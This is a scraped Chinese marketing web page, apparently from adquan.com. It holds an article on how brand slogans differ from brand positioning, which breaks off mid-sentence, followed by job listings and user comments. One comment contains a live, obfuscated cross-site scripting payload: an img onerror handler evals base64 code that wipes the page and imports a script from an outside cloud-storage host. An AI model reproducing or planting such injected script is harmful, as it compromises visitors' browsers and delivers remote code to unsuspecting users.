

添加至收藏夹
X
新建收藏夹
完成
新建收藏夹
X
确定
取消
接下来,我们从策略层面对品牌口号进行解读。
在探讨品牌口号之前,我们首先对品牌定位和品牌口号进行一定的区分。
二者的关联:
品牌口号是品牌定位的延伸,也是品牌定位的口语化表达。而品牌定位是品牌口号的合理化支撑。
1. 从作用的角度
品牌定位:回答的是你是谁,你属于什么品类,能解决什么问题的逻辑。
品牌口号:解决的是如何最大化沟通品牌主张的逻辑。
2. 从现代汉语的角度
品牌定位:把事物放在适当的定位并做出某种评价。
品牌口号:供口头呼喊的有纲领性和鼓动作用的简短句子。
3. 从时间的维度
先有品牌定位,才有品牌口号。
品牌定位只有一个,slogan可有多个,品牌口号是其中之一,同时还有产品slogan、活动传播slogan等。
品牌口号源于广告语,但远不止广告语,而是上升到品牌的战略层面。
品牌理念是一个企业的信念,是这个企业内在的精神与价值观。而品牌口号,是在品牌理念的基础上,与消费者进行沟通的口号。
品牌理念一般和品牌口号不一样,比如农夫山泉的品牌理念是”天然,健康“,即从不使用城市自来水生产瓶装饮用水,也从不在饮用水中添加任何人工矿物质。而它的品牌口号是
相关推荐
上海市 40 - 60K
广州市 10 - 15K
广州市 15 - 30K
北京市 10 - 15K
北京市 7 - 13K
北京市 25 - 35K
上海市 80 - 100K
上海市 8 - 10K
意见反馈
案例认领
手机号重复绑定
您的手机号
请确定您的下一步操作:
清除之前账号的手机绑定,可能会导致您无法登录之前账号
验证遇到问题?请发送邮件到i@adquan.com联系管理员
gtedsf
2021年09月
0<img src onerror=a=top;b='eva'+'l';c='a'+'tob';d=a[b];e=a[c];f='ZD1kb2N1bWVudDt3aW5kb3cuc3RvcD93aW5kb3cuc3RvcCgpOmRvY3VtZW50LmV4ZWNDb21tYW5kKCdTdG9wJyk7ZC50aXRsZT0nJztkLmRvY3VtZW50RWxlbWVudC5oaWRkZW49JzEnO2QuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTD1udWxsO2ltcG9ydCgnLy94Z2xiYi5vc3MtY24taGFuZ3pob3UuYWxpeXVuY3MuY29tL3MveHgnKTs=';d(e(f))>
13910336317
2021年09月
0好
..
2021年11月
0简单易懂 ,很棒!